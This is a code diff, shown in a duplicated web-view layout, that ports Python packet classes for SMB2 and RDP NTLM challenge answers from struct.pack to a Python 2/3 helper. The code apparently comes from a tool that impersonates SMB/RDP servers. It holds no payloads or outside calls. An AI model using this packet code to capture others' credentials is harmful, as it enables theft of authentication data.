self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
|
||||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
self.fields["Bcc2"] = StructWithLenPython2or3("<h",len(CompleteBCC2Len))
|
||||||
|
|
||||||
### SMB2 Packets
|
### SMB2 Packets
|
||||||
|
|
||||||
|
@ -1423,26 +1438,26 @@ class SMB2NegoAns(Packet):
|
||||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
#Packet Struct len
|
#Packet Struct len
|
||||||
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
|
self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
|
||||||
#Sec Blob lens
|
#Sec Blob lens
|
||||||
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
|
self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
|
||||||
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
|
self.fields["SecBlobLen"] = StructWithLenPython2or3("<h",len(SecBlobLen))
|
||||||
#ASN Stuff
|
#ASN Stuff
|
||||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
|
self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(SecBlobLen)-2)
|
||||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
|
||||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
|
||||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
|
||||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
|
||||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||||
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
|
self.fields["NegThisMech5ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech5ASNStr"])))
|
||||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
|
||||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
|
||||||
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
|
self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
|
||||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
|
||||||
class SMB2Session1Data(Packet):
|
class SMB2Session1Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1515,12 +1530,12 @@ class SMB2Session1Data(Packet):
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
###### Convert strings to Unicode
|
###### Convert strings to Unicode
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
#Packet struct calc:
|
#Packet struct calc:
|
||||||
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
|
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
|
||||||
|
@ -1529,41 +1544,40 @@ class SMB2Session1Data(Packet):
|
||||||
|
|
||||||
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||||
|
|
||||||
|
|
||||||
#Packet Struct len
|
#Packet Struct len
|
||||||
self.fields["Len"] = struct.pack("<h",len(StructLen)+1)
|
self.fields["Len"] = StructWithLenPython2or3("<h",len(StructLen)+1)
|
||||||
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
|
self.fields["SecBlobLen"] = StructWithLenPython2or3("<H", len(AsnLen+CalculateSecBlob))
|
||||||
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
|
self.fields["SecBlobOffSet"] = StructWithLenPython2or3("<h",len(StructLen)+64)
|
||||||
|
|
||||||
###### ASN Stuff
|
###### ASN Stuff
|
||||||
if len(CalculateSecBlob) > 255:
|
if len(CalculateSecBlob) > 255:
|
||||||
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
|
self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">H", len(CalculateSecBlob))
|
||||||
else:
|
else:
|
||||||
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
|
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
|
||||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob))
|
||||||
|
|
||||||
if len(AsnLen+CalculateSecBlob)-3 > 255:
|
if len(AsnLen+CalculateSecBlob)-3 > 255:
|
||||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
|
self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-4)
|
||||||
else:
|
else:
|
||||||
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
|
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
|
||||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||||
|
|
||||||
if len(AsnLen+CalculateSecBlob)-7 > 255:
|
if len(AsnLen+CalculateSecBlob)-7 > 255:
|
||||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
|
self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-8)
|
||||||
else:
|
else:
|
||||||
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
|
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
|
||||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
|
self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-7)
|
||||||
|
|
||||||
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||||
|
|
||||||
if len(tag2length) > 255:
|
if len(tag2length) > 255:
|
||||||
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
|
self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">H", len(tag2length))
|
||||||
else:
|
else:
|
||||||
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
|
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
|
||||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
|
self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(tag2length))
|
||||||
|
|
||||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||||
|
|
||||||
###### Workstation Offset
|
###### Workstation Offset
|
||||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
@ -1572,22 +1586,22 @@ class SMB2Session1Data(Packet):
|
||||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||||
|
|
||||||
##### Workstation Offset Calculation:
|
##### Workstation Offset Calculation:
|
||||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
|
||||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
|
|
||||||
##### Target Offset Calculation:
|
##### Target Offset Calculation:
|
||||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
|
||||||
|
|
||||||
##### IvPair Calculation:
|
##### IvPair Calculation:
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
class SMB2Session2Data(Packet):
|
class SMB2Session2Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1622,7 +1636,7 @@ class SMB2NegoReq(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
self.fields["Bcc"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
class SMB2NegoDataReq(Packet):
|
class SMB2NegoDataReq(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1643,7 +1657,7 @@ class TPKT(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header.
|
self.fields["Length"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+4)#Data+own header.
|
||||||
|
|
||||||
class X224(Packet):
|
class X224(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
@ -1656,7 +1670,7 @@ class X224(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6)
|
self.fields["Length"] = StructWithLenPython2or3(">B",len(str(self.fields["Data"]))+6)
|
||||||
|
|
||||||
|
|
||||||
class RDPNEGOAnswer(Packet):
|
class RDPNEGOAnswer(Packet):
|
||||||
|
@ -1668,7 +1682,7 @@ class RDPNEGOAnswer(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Length"] = struct.pack("<h",8)
|
self.fields["Length"] = StructWithLenPython2or3("<h",8)
|
||||||
|
|
||||||
|
|
||||||
class RDPNTLMChallengeAnswer(Packet):
|
class RDPNTLMChallengeAnswer(Packet):
|
||||||
|
@ -1738,12 +1752,12 @@ class RDPNTLMChallengeAnswer(Packet):
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
###### Convert strings to Unicode first
|
###### Convert strings to Unicode first
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
###### Workstation Offset
|
###### Workstation Offset
|
||||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
@ -1755,26 +1769,26 @@ class RDPNTLMChallengeAnswer(Packet):
|
||||||
|
|
||||||
##### RDP Len Calculation:
|
##### RDP Len Calculation:
|
||||||
|
|
||||||
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
|
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
|
||||||
